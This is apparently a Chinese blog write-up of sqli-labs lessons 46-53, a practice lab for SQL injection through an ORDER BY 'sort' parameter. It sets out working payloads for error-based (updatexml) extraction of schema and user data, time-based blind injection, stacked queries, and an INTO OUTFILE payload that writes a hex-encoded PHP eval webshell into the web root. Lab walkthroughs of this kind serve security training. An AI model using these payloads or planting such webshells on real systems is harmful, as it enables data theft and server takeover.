• sql-lib闯关之lesson46-53


    知识铺垫

    SQL语句中,asc是指定列按升序排列,desc是指定列按照降序排列。
    select * from users order by 1 desc;使用降序进行排列
    select * from users order by 1 asc;使用升序进行排列。

    Right()   select right (database(),1);

    Left()    select left(database(),1);

    lines terminated by xxx  每行以xxx为结尾(分割) 可以写入一句话木马


    LESS46

     进入这关我们发现要使用sort为参数了,观察源码其实sort就是以前的id。

    输入:?sort=1 asc --+  
    也就是id进行升序排列。

     通过测试发现我们一开始的联合查询 union select 方法不能使用。

    方法一:报错注入

    输入:?sort=1 and updatexml(1,concat(0x7e,database()),1) --+

     输入:?sort=1 and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1)),1) --+

     输入:?sort=1 and updatexml(1,concat(0x7e,(select username from security.users limit 0,1)),1) --+


    方法二:时间注入

    输入:?sort=1 and if(length(database())=8,1,sleep(5))--+

    不推荐手动注入,可以使用脚本来,效率高。


    LESS47

    参数:‘1’

    其他不变
    LESS48

    参数与46关相同,但是没有错误回显,所以只能使用时间盲注。
    LESS49

    参数变为‘1’ 类型同48相同。


    LESS46-49关方法之一句话木马

    以46关为例

    输入:?sort=1 into outfile 'C:\phpstduy2018\PHPTutorial\WWW\sqli-labs-master\Less-46\1.php' lines terminated by 0x3c70687020406576616c28245f504f53545b2263726f77225d3b3f3e

     咱们不能用<php @eval($_POST["czs"];?>写是因为写不进去 是个空的 所以用知识铺垫的函数 进行16进制转换。

    写入一句话木马就可以用菜刀连接了。


    LESS50

    其他三种方法同上

    方法四:堆叠注入

    输入:?sort=1;create table czs like users;insert into czs select * from users;

     

     这时我们发现新建的czs 与users 内容一样。
    方法五:堆叠注入 写入一句话木马。


    LESS51

    参数 ‘1’
    LESS52

    无回显,不可以用报错注入。
    LESS53

    和50关基本相同,order by ’1‘语句数据包裹形式不同,而且没有输出报错信息的语句,所以不能用报错注入。

  • 相关阅读:
    vss的ss.ini丢失或损坏导致的vss无法登录错误
    prtvu xsdabljc 视图代码
    安装Ehlib经验
    PHP连接MSSQL
    在Access中实现 case when功能
    快捷输入电大学号 delphi代码
    毕业预警的SP
    新系统班级名称规范化
    查询哪些学生没有做课程注册
    第一个PHP数据库查询应用
  • 原文地址:https://www.cnblogs.com/c1047509362/p/12506957.html
Copyright © 2020-2023  润新知